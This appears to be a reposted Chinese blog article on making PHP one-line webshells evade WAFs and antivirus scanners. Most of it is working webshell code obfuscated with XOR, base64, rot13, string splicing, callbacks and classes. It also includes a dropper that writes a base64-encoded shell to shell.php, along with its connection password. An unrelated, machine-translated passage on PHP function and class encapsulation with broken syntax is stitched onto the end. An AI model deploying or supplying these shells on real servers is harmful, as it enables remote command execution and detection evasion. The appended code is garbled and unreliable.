php拼接-PHP的webshel​​l加壳器总结

普通一句话木马(适用于CTF及小型网站)

<?php eval($_POST['a']); ?>
//函数的相似替换

与第一个单句木马相比,我们发现该字符的含义是抑制php句型中的错误信息,即使有错误也不返回; 属于不太重要的“组件”php拼接,书写位置比较灵活; 它可以在 eval 函数后面,也可以在 post 函数上面......

然后我们看第二段代码,发现它把eval函数换成了assert函数; 此时,我们通过查看PHP指南(友情链接)发现以下差异:

可以考虑使用assert函数来代替eval函数,因为eval函数太敏感了! ! ! 这时候大师又会问:还有哪些敏感功能呢? 这就太多了(例如:system、post、get……),所以我们可以根据加壳的本质来获取更多,混淆和加密是两种久经考验的方法。

温馨提示:只有php一个字的木马还可以执行其他命令! (

  

)因此,不一定要用POST函数,GET函数也是可以的! (注意:get函数只能向服务器请求信息,所以只能与命令执行绑定!)

php的打包(字符串打包思路)

字符串异或加密

字符串基族加密

字符串rot13加密

字符串连接

PHP打包的异或打包

大多数情况下,开发者为了方便自己的需求,会用“黑名单”的形式去掉很多敏感功能,以达到一个看似新颖且相对安全的目的,却殊不知由于这些粗心的想法,把整个系统面临极大风险; 攻击者在前几年就遇到过这些情况。 加密可用于解决大多数问题(例如:XOR 加密、基族加密、URL 加密...)。 所以我们常说:白名单>WAF>黑名单!

“^”是异或运算符。 在PHP中,当两个变量进行异或运算时,会将字符串转换为二进制,然后进行异或运算。 异或运算后,结果将由二进制转换为字符串(参考链接)

<?php
$_=(''^'`').(''^'`').(''^'`').(''^'`').(''^'`').(''^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
$_($___[_]);

<?php
$_++;
$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");
$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");
(''^'`')
${$__}[!$_](${$___}[$_]);
?>

<?php
$__=('>'>''>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

提示:可以使用下面的PHP XOR脚本来解决生成函数的问题

<?php
$test = '~!@#$%^&*()_+|/?.,-={}[]';
for($i=0;$i<strlen($test);$i++){
for($j=0;$j<strlen($test);$j++){
if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '
';
}else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
echo $test[$i].'^'.$test[$j].'结果为:';
echo $test[$i]^$test[$j];
echo '
';
}
}
}
?>

虽然简单方便,但是通过静态识别很容易被发现,这样我们的包装就会暴露。 为了继续wbshel​​l加壳,我们可以学习下面的加壳方法,并进行组合! 从而达到绕过WAF和php禁用功能的目的!

php 加壳器的 Base Family 加密

<?php
$a = 'd2hvYW1p';
echo base64_decode($a).'';
?>

这种方法没有什么特别的好处,但是可以尝试用base16或base32配合其他方法使用,效果不错!

php 加壳器的 rot13 加密

<?php
$a=str_rot13('riny');
$a($_POST['110']);
?>

rot13对eavl函数进行了加密,即“riny”(通过这些方法可以绕过函数的正则匹配)!

虽然恐吓等级很高,但是我们可以作用于其他加壳者,一定程度上提高回避率! (但是下面这个被杀了,我不明白,难道是格式的原因?)

<?php
class A{
function xxx($a){
$b=str_rot13('!r!i!n!y!!');
$str=explode('!',$b)[5];
$str($a);}
}
$c=new A();
$c->xxx($_REQUEST['110']);
?>

php打包的拼接打包


我们可以将敏感函数进行拆分,然后进行简单的敏感函数打包! 其次,还可以使用下面的arry链表结构函数来进行装箱。

php拼接

<?php
$a = substr_replace("xxser","asser",-3);
$b = array('',$a);
$c = $b[1].chr('116');
$fun=preg_replace("/xx/","",$c);
$d = substr_replace("",$fun,0);
$d ($_POST['110']);
?>

也就是说,我们只需要用rot13对PSOT函数进行加密即可; 或者考虑变量替换(但根据D盾的测算,效果可能并不比加密好)!

php加壳器混淆加壳器

<?php 
function a()
{
return "/*110110110110*/".$_POST['110']."/*110110110110**/";
}
@eval(a());
?>

简单的字符串变化就直接被杀死,所以我们还需要配合其他无用的字符来混淆视听,从而提高加壳的功效!


这里多少句,为了防止被测,可以参考文件上传的原理(关键是想办法造成溢出),这样做的后果是文件会变大,但是是适合与图片马一起使用。

php的打包(函数特性的打包思路)

功能替换

自定义函数绕过

变形回弹

大批

可变变量

php加壳器的功能替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。

array_filter():通过函数过滤掉数组中的元素

array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串

array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集

array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集

array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集

array_intersect_assoc():比较两个数组的键名和键值,并返回交集

array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集

array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集
xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。
xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。
xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE

xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。

如果成功,该函数返回 TRUE。 失败时返回 FALSE。

xml_set_unparsed_entity_decl_handler():该函数指定遇到未解析实体名称(NDATA)声明时要调用的函数。 如果处理程序成功构造,则该函数返回 true; 否则,返回 false。

尝试去PHP句型指南找到一些极其偏颇的函数......

php加壳器自定义函数绕过(可匹配大小写)

<?php 
function aaa($a){
return $a;
}
function bbb($b){
return eval($b);
}
function post(){
return @$_POST['110'];
}
function run(){
return aaa(bbb)(aaa(post)());
}
aaa(bbb)(aaa(post)());
?>

我们可以通过我们自定义的函数形式,绕过WAF的拦截,配合php版本和可替换的函数,达到加壳的目的! 由于PHP函数中函数名、方法名、类名不区分大小写,因此建议使用与定义相同的名称,这样也可以提示绕过大小写,这样加壳的效果就大大提高了!

php加壳器加组合绕过的反弹功能

array_walk()  
array_map()
filter_var()
filter_var_array()
uasort()
uksort()

以上是常用的可以替换的函数,但是大部分都被杀掉了,所以需要先混淆一下才可以使用!

php加壳器的字段绕过

<?php
$a = substr_replace("evxx","al",2);
$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));
?>

php加壳器的变量变量

PHP中有一种变量称为可变变量,它不是基本类型的变量。 可变变量意味着普通变量的值可以用作另一个变量的名称。 这句话听起来有点具体。 我们可以通过例子来演示可变变量的定义和实用性。

<?php 
$zeo='miansha';
$$zeo=$_POST['110'];
eval($miansha);
?>

这时候我们就可以利用一些多重加密的手段,对eval函数进行多重加密,就达到了完全加壳的结果!

php拼接

PHP的加壳使用类来绕过加壳

等级是现在大多数人的共同选择之一,因为等级的技术在通过D-shield测量时效率更高; 但使用类自然需要魔法函数。 我们简单的构造一个类的加壳器如下:

<?php 
class zeo2
{
public $b ='';
function post(){
return $_POST['x'];
}
}
class zeo extends zeo2
{
public $code=null;
function __construct(){
$code=parent::post();
assert($code);
}
}
$blll = new zeo;
$bzzz = new zeo2;
?>

php的打包(根据PHP版本差异打包)

不用说,传统的php加壳无非就是各种变种和获取外部参数。 对于一些高级的waf和防火墙来说,无论怎么解析,最终都会到达命令执行的地方,但如果句型报错,则可能会导致解析失败。 下面介绍几种使用php版本出现语义错误的php命令执行方法。

1、使用特殊符号导致错误


PHP版本:仅限5.2版本

其要求是能够干扰杀毒软件的规律性判断,并且代码也能够被执行。 这个可以自己逐步测试。具体来说,借助各种类型的回车、换行、空字符和空白字符,这里尝试将其改造成一个可以连接的一句话木马,并配合先前的变量变量

<?php 
$xxxxxxxxxxxxxx='miansha';
$$xxxxxxxxxxxxxx=$_POST['110'];
eval(``.$miansha);
?>

2. 十六进制字符串

PHP版本:仅限5.3和5.5版本; 在php7中它不被认为是一个数字,但在php5中它仍然是一个数字。 (友情提醒:5.X可以成功执行命令,但php7不能)



提示:对于我们来说,我们可以结合垃圾数据、变形混乱以及大量的特殊字符和注释来构造更多的有效负载。 毕竟每个公司都有不同的WAF规则和配置,是结合一些传输级旁路而形成的。 可能性极其多样。

3、使用不换行的句型执行命令

PHP版本:只限于7.3.4版本,如果是其他版本就会报错,所以更有针对性!

<?php
$a = $_GET['function'] ?? 'whoami';
$b = $_GET['cmd'] ?? 'whoami';
$a(null.(null.$b));
?>

提示:对于?? 7.0版本的特性php拼接,如果是5.x版本,仍然会报错。 还可以结合其他一些方法!

PHP一句话加壳实例

我会派一些包装机过去给你!

<?php 
$file="shell.php";
$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";
file_put_contents($file,base64_decode($shell));
?>
//连接密码110

另外,我附上一匹小马,希望大家一起集思广益!

<?php
ini_set("display_errors",1);
$objPQ = new SplPriorityQueue();
$objPQ->insert('m',1);
$objPQ->insert('s',6);
$objPQ->insert('e',3);
$objPQ->insert('s',4);
$objPQ->insert('y',5);
$objPQ->insert('t',$_GET[a]);
$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);
//Go to TOP
$objPQ->top();
$m='';
$cur = new ErrorException($_GET[b]);
while($objPQ->valid()){
$m.=$objPQ->current();
$objPQ->next();
}
echo $m($cur->getMessage());
?>
//密钥3

用一句话概括

本文的目的是让您对一句话木马加壳有一定的了解。 随着包装对抗越来越激烈,我们不得不发散思维。 这一次,我就是抛砖引玉的人了。 如果有什么意见可以在评论区交流!

其他参考:

PHP WebShell反杀:et/qq_35029061/article/details/126091870

PHP案例分析:

作者:面包and牛奶 原文地址:https://www.freebuf.com/articles/web/343192.html

免责声明:本公众号分享的内容仅供网络安全爱好者进行技术讨论,禁止用于非法用途。 所有渗透均需获得授权!否则需自行承担,公众号及原作者不承担相应后果

好的,关于PHP代码封装的问题,我可以给你一些建议和例子。在PHP中,代码封装一般是指将一些常用的和重复的代码封装到函数或类中,以便于在程序中调用和使用。通过封装,我们可以增强代码的可重用性和可维护性,同时也提高了程序的执行效率和安全性。下面是一个简单的PHP代码包装器的例子,假设我们需要在程序中获取当前页面的URL地址: '''phpfunction get_current_url() {$url = 'http'; if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) {$url .= 's'; }$url .= '://' .$_SERVER[“HTTP_HOST”] .$_SERVER[“REQUEST_URI”];返回$url;}'''' 在前面的代码中,我们定义了一个名为 get_current_url() 的函数来获取当前页面的 URL 地址。

php封装自定义弹窗插件_php封装_封装php数据库类

此函数确定当前页面是否使用 HTTPS 协定,然后连接相应的 URL 地址并返回。在程序中使用此函数时php封装,只需调用它:“php$current_url = get_current_url();回显 $current_url;'''通过封装,可以防止获取当前页面URL地址的代码在程序中重复编译,提高代码的可重用性和可维护性。除了函数封装,我们还可以使用类的方法进行代码封装。类封装的方法一般适用于需要复杂操作和状态管理的场景,如数据库操作、文件处理等。下面是一个简单的数据库操作类的示例: '''phpclass Database {private $host; private $user; private $password; private $database; private $connection; public function __construct($host, $user, $password, $database) {$this->host = $host; $this->user = $user; $this->password = $password; $this->database = $database; $this->connect(); }公共函数 connect() {$this->connection = mysqli_connect($this->host, $this->user, $this->password, $this->database); if (!$this->connection) {die('Connect Error (' . mysqli_connect_errno() . ') '. mysqli_connect_error()); }}public function query($sql) {$result = mysqli_query($this->connection, $sql); if (!$result) {die('Query Error (' . mysqli_errno($this->connection) . ') '. mysqli_error($this->connection)); }返回$result;}public function close() {mysqli_close($this->connection); }}'''在前面的代码中,我们为数据库联接和查询操作定义了一个名为 Database 的类。

此类包含一些私有属性和公共模式,其中构造函数用于初始化数据库连接参数,connect() 方法用于连接数据库,query() 方法用于

php封装自定义弹窗插件_php封装_封装php数据库类

执行 SQL 语句,并使用 close() 方法关闭数据库连接。在程序中使用此类时php封装,只需实例化并调用: '''php$db = new Database('localhost', 'username', 'password', 'database');$result = $db->query('SELECT * FROM table');而 ($row = mysqli_fetch_assoc($result)) {// 用 $row}$db->close() 做一些事情;'''通过类的方法封装代码,可以将数据库操作的相关代码封装在一起,方便调用和管理,可以提高程序的安全性和可维护性。总之,代码封装是一个非常重要的开发原则,通过封装可以增强代码的可重用性、可维护性和安全性,建议在日常开发中多用。